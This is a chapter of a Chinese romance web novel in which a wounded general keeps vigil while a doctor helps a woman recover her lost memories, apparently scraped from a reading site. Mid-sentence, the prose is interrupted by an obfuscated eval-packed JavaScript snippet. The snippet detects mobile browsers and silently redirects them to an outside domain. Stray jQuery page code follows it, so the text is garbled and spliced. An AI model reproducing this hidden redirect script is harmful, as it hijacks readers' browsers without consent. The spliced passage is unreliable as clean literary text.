69. 苏醒
作品:《大将军对我念念不忘》 “整整三天三夜了,再这样熬下去,你的身体会撑不住的。”
江枫在一旁苦口婆心地劝,祝无恙恍若未闻。
他紧紧握着苏怀黎的手,片刻不离地盯着她,仿佛稍微移开一瞬,眼前之人就会马上消失不见。
“你这人,怎么劝都不入耳,我是大夫,你的身体情况只有我是最清楚的,难不成苏小姐睡多久,你就要在这不眠不休地守多久?”
饶是江枫这样性子温和的大夫,都要被祝无恙这个倔脾气的伤患折磨得没了脾气,眉眼间生出一些愠怒。
好话坏话江枫都说了个遍,人家愣是一点都没听进去,来往生山之前,祝无恙本就身负极重的剑伤,若不是寒泉及时止住了伤口的血,加上这几日江枫强硬地给他敷药,才勉强让他回了一点血。
可这样不眠不休地熬着,岂不是在透支自己的性命?
江枫语重心长地劝,却换来祝无恙一句:“守到她醒来为止。”
“我陪伴她的时日太少了,刚与她解开了误会,又狠心让她离开,若非如此,怎会让歹人有可乘之机?我对她,亏欠太多。”
背上的伤犹如火燎烤着,但他还能忍,哪怕是日夜咳血不止,那又如何?
苏怀黎的身体状态令人担忧,仅是这三日,高温的状况就反复出现了数次,若她有个万一,他绝不苟且偷生。
“那好吧。”江枫无奈道,“你尽管在这守着,不过记得把这一帖汤药先喝了,别怪我没提醒你,不喝药的话容易体力不支晕厥过去。”
在江枫眼皮子底下,祝无恙二话不说接过汤药一饮而尽。
他交代江南:“你在这陪祝将军好好守着苏小姐,我出去给苏小姐煎下一服药。”
约莫过了一炷香的时间,厨房传来一阵急促的脚步声。
江南惊恐地喊道:“师父,祝将军晕过去了!”
闻言,江枫放下手中的蒲扇,面露满意:“可算是睡过去了,竟然能撑这么久,差点以为我的安神药失效了。”
江南吓得魂都要飞了,却听江枫气定神闲道:“无妨,让他多睡一会吧,今夜我们俩一起守着苏小姐。”
往生山上一到了晚上就寒气逼人,但屋内燃了数盆银炭,仿佛至身火炉。
每每到了夜晚,亥时一过,她体内解药的反应尤为剧烈,寒气攻心如同浑身坠入冰窖,银炭燃了一盆又一盆,才勉强缓解她身上的寒气。
“第四晚,能不能熬得过去就看今夜了。”
深夜渐褪,马上就要进入拂晓时刻,这一夜她竟然奇迹般地没有发热,脉象也从浮紧阻塞进入了从容缓和。
熬了一晚上的江枫终于狠狠地松了一口气,身旁苦苦守着的江南撑不过跌入了梦中。
他眼皮一掀,正准备喊醒祝无恙,床上骤然传来轻微的动静。
苏怀黎终于有了苏醒的迹象,她含糊地喊了几声,江枫俯身细听,她好似在唤人求助。
可是这名字着实陌生。
阿越,她在喊阿越哥哥。
祝无恙一直在梦中挣扎着,坠入无尽深渊。
自从苏怀黎失了记忆之后,他总是会反复梦到这个梦境,她厉声责怪他为何要逼迫她成亲,她要和离,要永永远远地离开他,他听后心如刀绞,一遍又一遍地恳求她留下,只要留在他身边,无论怎样都行。
怀中紧紧抱着的人下一刻猝然消失,祝无恙猛地惊醒。
有人在唤他,“阿越哥哥,阿越哥哥,快救救我。”
苏怀黎紧紧地拧着眉头,额头渗出晶莹剔透的薄汗,唇边还不断呢喃着,表情痛苦难耐,仿佛是身处绝境之人拼命全力发出求助。
祝无恙神情恍惚地看着这一幕,心脏以一种不可思议的频率疯狂跳动。
他颤抖地抱着单薄如纸的人,唇瓣抵着她的额头:“我在,我一直都在。”
江枫不忍打扰两人的温存,适当提醒道:“祝将军,苏小姐现在还在记忆恢复的过程中,你切莫操之过急,只需要等她自己挣脱醒来就好。”
记忆回笼的滋味当真是常人无法忍受,苏怀黎头疼欲裂,十几年的记忆正以迅猛之势将她吞噬,如同沧海桑田风云变幻,最后定格在了信王府中窥见的那场惨无人道的屠戮。
她分不清楚现实还是梦境,拼了命地挣扎,泪水瞬间盈满眼眶。
“阿越哥哥,快救救爹爹和娘亲,快救救他们!”
滚烫的泪水滴落在他的手背,又何尝不是烙印在他的心脏。
“是我来晚了,”祝无恙忏悔道,“念念,是我来晚了,害得你受了这么多苦,都是我的错。”
时隔三年,他终于能唤她的本名了。
*
恢复记忆的苏怀黎十分虚弱,因悲怆过度,哭得力竭再次晕了过去。
“祝将军,你不必担心,苏小姐的身体这几日经历了巨大变动,体力不支实属常态,好生休养几个时辰就好了,这是我刚刚熬的安神汤,能让苏小姐睡得踏实一些。”
和喂给祝无恙的是同一碗。
祝无恙不疑有他,遵照医嘱分了三次地给苏怀黎喂下了这碗药。
三人又是一日未休息,守在她身边,苏怀黎心下难免愧疚:“对不起,是我拖累了你们。”
祝无恙为她细细地掖好被褥,生怕一个不留神又着了凉。
“这段时日着实辛苦江大夫了,日后祝某定当结草携环,涌泉相报。”
二位都是性情中人,江枫忙摆了摆手:“哪里哪里,若没有祝将军救命之恩,江某此刻怕是早就落入花栩手中了,苏小姐危难时刻还不忘提醒我离京,这份恩情,江某一直记在心上。”
“花栩?”苏怀黎有些不明所以,懵懂地望着祝无恙,“你是在京城中救了江大夫吗?”
她下意识这样以为。
“是在汝县,你和江大夫是被同一批贼人劫持。”
若不是他碰巧救下被劫下的二人,后果不堪设想。
“这怎会……”苏怀黎一时语塞,她刚从巨大的冲击中缓过来,又陷入了一片迷惘。
花栩要劫她作何?把她当人质?
“若是不舒服,就不要勉强自己回忆了。”祝无恙刻意收敛了因愤怒而滋生的戾气,他不是不着急,他恨不得把那些人碎尸万段,但他更担心她堪堪恢复的身体禁不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578059|163872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住压力。
她对他笑了笑,“无妨,这些我都记得清楚,事发时,我正和家人抵达汝县与星城的边境,舟车劳顿后我们在一处客栈歇下,我用完膳之后便睡下了,就是那天夜里,那些人闯入房间将我劫走了。”
汝县与星城的边境,距离京城数百里,这群人轻而易举地找到客栈,对苏家人下手,这分明就是有人泄露了行踪。
“这几乎不可能……”祝无恙呼吸一滞。
苏家人秘密出京一事,是他一早安排策划的,暗卫确认府上人空了之后才离开,出京后沿路有他布下的沿线,一直到苏家的马车彻底远离京城后,他才让人撤回京城。
况且,“直至贺绍带兵入宫那日,他逼皇帝自缢,第二日上朝,紫禁城的官员才得知此噩耗,贺绍没有理由怀疑苏府一行人提前出京,难不成这花栩有通天的本领?”
早知如此,当初在京中他无论如何都该杀了他,以绝后患。
江枫亦觉得此事蹊跷诡异:“花栩城府颇深,擅长蛊惑人心,但还不至于手眼通天,我猜想应是哪个环节出了纰漏,或许问题出在同行人之中?”
祝无恙看向苏怀黎,她却意外地沉默了些许,怪不得秦曼曼当初低声下气地求着要回苏府,原来是和花栩勾结上了,当初一时心软终究还是害了自己,心下的滋味自然不好受。
两人都是聪明人,她若是给出模棱两可的答案,很快就能猜测到是谁。
但此刻不是去纠结这件事的时候,拔出萝卜带出泥,等她找个合适的时机与祝无恙坦白也不迟。
“江大夫,”她轻声道:“当初你和我说我中的断尘草无药可治,是骗我的吧?”
江枫下意识地摸了摸鼻子,没有否认:“江某并非故意隐瞒,这药的药效你也清楚,无异于从鬼门关走一遭。”
江枫视她为朋友,不愿让朋友冒生命危险,实属情理之中。
可花栩又是为何给她服下解药?又为何费劲心思不远数百里派兵劫她?当真让人费解。
几个月前,花栩给她诊脉说此病有药可医,或许那时候他就动了念头,之后借秦曼曼之手给她下药,她吃了苦,但也恢复了记忆,说起来也是阴差阳错得了一件好事。
祝无恙一直看着她,那眼神,好似要把她的心思读了个遍。
苏怀黎心里揣着事情,又有些心虚,不敢和他对视:“当务之急我们还是尽快养好身体,尽早出发找到家人才是。”
她说的是心里话,她意外被劫,父亲母亲肯定急坏了,也不知道那群人有没有对他们动手,苏家人现在是否还安全,到时候旧账新账一起算,若因为秦曼曼一己之私让家人遇害,就是千刀万剐她也赎不清这罪孽。
“对对对,当下养好身体才是最重要的。”
江枫不忘医者本分,连忙告状道,“苏小姐你有所不知,这几日祝将军衣不解带地陪在你身边,整整几日未睡,全靠一股劲在强撑着,你看,祝将军后背这个伤,深可见骨,再不医治就来不及了,日后要是落下后遗症怕是追悔莫及啊。”
苏怀黎骤然望向祝无恙。
他有些心虚别开眼睛:“……”